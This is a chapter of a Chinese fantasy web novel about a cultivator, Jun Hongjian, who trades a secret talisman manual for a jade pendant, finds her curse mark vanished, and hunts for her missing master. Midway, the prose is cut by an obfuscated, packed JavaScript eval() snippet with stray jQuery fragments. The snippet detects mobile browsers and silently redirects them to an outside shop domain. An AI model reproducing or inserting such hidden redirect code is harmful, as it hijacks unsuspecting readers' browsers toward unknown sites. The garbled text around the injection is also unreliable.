话说丹阳门宗主辞秋仙君某日下山除妖,圆满完成后正要打道回府,怎料余光瞥见某家某户某棵荔枝树下,沉沉睡着一襁褓婴儿。邻居攀在墙头感叹造化弄人,说此婴孩凄惨无比,家中被妖吃了个尽,眼看要轮到她时天降辞秋仙君,这才侥幸活下来。
门前郁郁荔枝树,树下仙人见稚雏。
于是辞秋仙君将婴儿抱回了白玉京,收她为徒悉心教养,就有了眼前这个娇俏可爱的少女简荔枝。不怪她自诩丹阳门内鼎鼎大名,便是素少交游如君红笺,也听说过辞秋仙君有个疼爱似眼珠的宝贝小徒弟。
君红笺了然,自报家门:“原是荔枝小师姐,失敬失敬。我是无极司肃止仙君弟子,君红笺。”
简荔枝点着下巴“哦”了一声,“那你来我们丹阳门,该不会是疗伤的吧?无涯长老找你算过账了?”
“哈哈。”君红笺干笑着答:“荔枝小师姐还真是料事如神。”
简荔枝当下扫帚一扔,道:“小事一桩,包在我身上。”
是她人善心软,绝不是要偷懒。
路上又聊起莲雾一事,简荔枝问:“莲雾师姐唤出符灵之事,是真的吗?”
符灵亦如剑灵,甚至更加可遇不可求,青莲宗内包括长老在内,能唤出符灵来的寥寥无几,说起来莲雾能如此轻易得到无涯首肯下山,除了那层抹不掉的父女情,寻枉的出现也是功不可没。
既是历练,也是机缘。
君红笺颔首:“确有此事。”
便见简荔枝脚步一停,两眼放光:“那你知道莲雾师姐是怎么做到的吗?教教我!”
“你?”君红笺失笑:“你一介丹修,学这个做什么?”
简荔枝却道:“不是呀,我是符修。”
“啊?”君红笺愣住了,“丹阳门内,你修符道?”
简荔枝挠头道:“师尊说我本命无火,难入丹道,无奈才转修符道。”
倒也合理。
只是关乎那本窥天录,君红笺沉思着不知该不该讲。虽说对她而言,将那窥天录划为邪门歪道实属荒唐,不过是写了些故弄玄虚的冷门道法,却也不至于叫人走火入魔。可若给了简荔枝,他日再生事端,这段因果又要落在她头上。
实在是,烦人得很。
她默不作声,简荔枝便察觉到她有些不愿。奈何自小长在丹阳门,上有师尊宠爱下有同门照拂,鲜少有不如意之事,加之符灵于她诱惑极大,便怎样也不想放弃。
简荔枝噘嘴想了半晌,倏忽福至心灵,扯下颈间小巧精致的荔枝玉坠,道:“我拿这个跟你换,这个是师尊送我的护身符,我把它送给你,你悄悄告诉我。”
这玉坠怎么看也是贴身佩戴许久,君红笺愕然,“你舍得?”
简荔枝不以为然,“我若想要,师尊能送我更多。”
偏爱之下,何其豪奢。
简荔枝又道:“师尊总说只要我做个混吃等死的小废物就够了,可我想要有出息,想要师尊为我骄傲,想要以后仙门百家的人都说一句,不愧是辞秋仙君的徒弟。”
此话一处,君红笺有些恍惚。
大概,或许,她曾经也这么想过吧?
初遇那一眼,她懵懂地想要留在其中,可惜肃止仙君为人寡情寡欲,乍见之欢被日渐消磨,直至最后伏天仙尊再记不得了。
简荔枝将玉坠递到她面前,撒娇一般道:“求求你了。”
鬼使神差的,君红笺就这么掏出了窥天录。
接过玉坠又递出书的那一刻,她心道:一物换一物,互不亏欠,不算因果。
简荔枝拿着书左翻右看,“莲雾师姐是因为这本书才唤出的符灵吗?”
“嗯。”君红笺心烦意乱,却又说不清因何而起。听着简荔枝在耳旁自说自话,她显得很是心不在焉。
路过回廊小院,简荔枝语带雀跃,拉着君红笺指向前方:“你看。”
君红笺自愁绪中抽离,抬头去看,就见庭院中央一棵枝繁叶茂的荔枝树,满树荔枝,颗颗红艳灿烂,坠得枝桠下垂,像一团橘红的云。
简荔枝蹦跳着小跑到树下,负手弯腰,眉眼弯弯向人炫耀:“师尊就在这棵荔枝树下捡到的我。她说我是荔枝树上结出的果,落在地上便成了丹阳门的宝贝。”
所以她叫简荔枝,是辞秋仙君捡回来的心肝儿。辞秋仙君将她带回白玉京,也不忘将这棵荔枝树一并移回来。
真好啊。君红笺不由感叹。
身后有两人并肩而来,一男一女很是养眼。男子男子温润如玉气度非凡,谦谦君子模样眉眼带笑;女子容貌清丽周身敛着柔光,嘴角扬起的弧度不大,很是沉静温婉。
简荔枝挥手示意,转头向君红笺介绍:“这个是李胥,旁边是入门不久的戴雪临戴师妹。”
两人看着都比简荔枝年纪大些,却都恭恭敬敬地行礼唤她:“小师姐。”
简荔枝道:“你们来得正好,这是无极司的君师妹,她来咱们丹阳门取些疗伤的药。”
李胥开口便让人觉得亲和,“不知君师妹需哪种伤药?或是君师妹不介意,我来替师妹瞧瞧脉?”
索性伤并不重,把了脉给了药,李胥同戴雪临便离开了。
打了个照面,匆匆来匆匆去。
君红笺自然也不会留意这两人,倒是简荔枝凑过来小声道:“你瞧他们二人,是不是很般配?”
君红笺收起丹药挑眉问:“他们是道侣?”
“那倒不是。”简荔枝道:“不过丹阳门上下都说他们情意相投呢。李胥师弟吧,自是不必说,向来是分寸得体,待人接物都很和善。但戴师妹就不一样了,素日沉默寡言,与谁都说不上几句话,只在李胥师弟跟前才温声细语的多说几句。”
听她细数着二人如何眉目传情,当属彼此良缘。君红笺捏着额角暗道:简荔枝该是和曲染叶一起,必然有聊不完的热闹。
拿了丹药就要离开了,简荔枝说是要送送她,一路喋喋不休送到了丹阳门之外还停不下来。
君红笺忍不住抬手打断她:“听你说的实在精彩,等我养好了伤,一定再来听你讲这对儿痴情人。”
不抬手不打紧,一抬手君红笺察觉到不对劲儿了。
翻过掌心,那道祟印不见了。
不是被灵力压制暂时不可见的那种,是实打实的消失了。
思及那会儿雁南归突现在身侧灌进她掌心的灵气,君红笺咬了口后槽牙,定是便宜师尊又搞了什么幺蛾子。
她更没心思与简荔枝闲聊了。
简荔枝浑然不觉,还乐呵呵地同她碎碎念:“好呀好呀,那你可一定要来找我呀,我就在丹阳门等你,以后我们就是朋友啦,若是遇到什么麻烦,你只管来找我。”
仓促告别,君红笺马不停蹄地赶回无极司。
天色擦黑,白玉京交错的大小道路两旁都点亮了石灯。无极司静尘居外,君红笺不管不顾一把推门进入,高喊着:“师尊!”
无人应声。
那处被石栏杆围起的畦田边上,蹲着一个小小的身影。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563868|204642||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
君红笺大步过去,“逢生,我师尊呢?”
逢生茫然仰头看她,“不知道呀。”
打从桃溪村离开来到白玉京,得到了雁南归的首肯之后,他就将怜生残留的灵种在了畦田之上,伴着那株要死不活的青苗,日日期盼怜生归来。
数着日子,怜生的灵种了多久,他就蹲在这里守了多久,旁人旁事一概不知。
雁南归平日闭门谢客就算了,如今还神出鬼没的。
君红笺顿觉周身更疼了,囫囵吞下李胥给的丹药,方觉气顺畅了许多。低头又见逢生嗅闻着凑近,她面露尴尬地后退半步,道:“做什么?”
逢生道:“你身上,怜生坏掉的味道没有了。”
不愧是双生子,竟能闻出祟印消失。
震惊之余,君红笺又想到什么,蹲在逢生旁边问他:“那你能不能闻得出还有哪里有怜生坏掉的味道?”
逢生仔细回想,而后道:“不记得了。”
好嘛,白问。
线索全无,她一筹莫展。所有疑惑所有谜团竟该死的全都存在于雁南归身上,偏偏这人杳无音讯。君红笺简直想仰天长啸,骂一句脏的。可转念又想,此处是何地?雁南归的居所。他能躲一时难不成还能躲一世?从今日起,就在这静尘居内守株待兔了,不信逮不到一个雁南归!
嘿,结果如何?
还真逮不到。
君红笺一连守了好几天,她那便宜师尊好似世上从无此人一般,消失得彻底。守到逢生困极缩在畦田旁睡了好几觉,守到君红笺陪着逢生盯着畦田看得双眼发直,守到君红笺举手投降回到弟子居,都没守到雁南归半点消息。
又一日晨起,君红笺边骂着雁南归边洗漱收拾,出了弟子居就见到裴松鹤和简荔枝站在外头等她。
“你们这是?”
裴松鹤道:“你前几日一直不曾回弟子居吗?那日我路过,见到门外不知谁留了瓶丹药,怕丢了你也不知道,就先拾走了。”他从芥子袋中掏出一个白玉瓷瓶,“就是这个。”
“是吗。”君红笺接过瓷瓶,随手放回芥子袋:“谢啦。”
转头又看简荔枝,问道:“你呢?研究出你的符灵了吗?”
“我就是因为这事才来找你的。”简荔枝略显沮丧,“那书上的符箓我一个也画不出来,好生奇怪,莲雾师姐到底是怎么做到的。”
裴松鹤问:“什么书?”
君红笺只道:“莲雾师姐的书。”
简荔枝道:“莲雾师姐有说过什么关于符灵的事情吗?”
君红笺回忆着,“不曾提过。但符灵总不是单凭醉心修炼就能唤出来的吧?”
换言之,若是勤能补拙,脚踏实地的符修各个都能唤出符灵来,何至于如此难得?
执剑之人若能至人剑合一的境界,便可得剑灵与自己心意相通,这是剑灵认主。那么符灵认主的契机是什么?画符之人要如何才能叫符灵透过沉淀了千百年的符道看到自己,直至认可自己?
符修终其一生追求的,大概就是这些了。
君红笺表示爱莫能助。
“算了算了。”简荔枝宽慰自己,“说不定那些符箓不能一蹴而就呢,这才几日,等我在慢慢研究,早晚有一天能唤出我自己的符灵来。近日我又新学了一道符,我给露一手给你们看看。”
三人围城三角,脑袋抵着脑袋看得认真。
正是安静看简荔枝大展身手之时,身后忽闻一声冷喝:“君红笺,可敢与我一战?”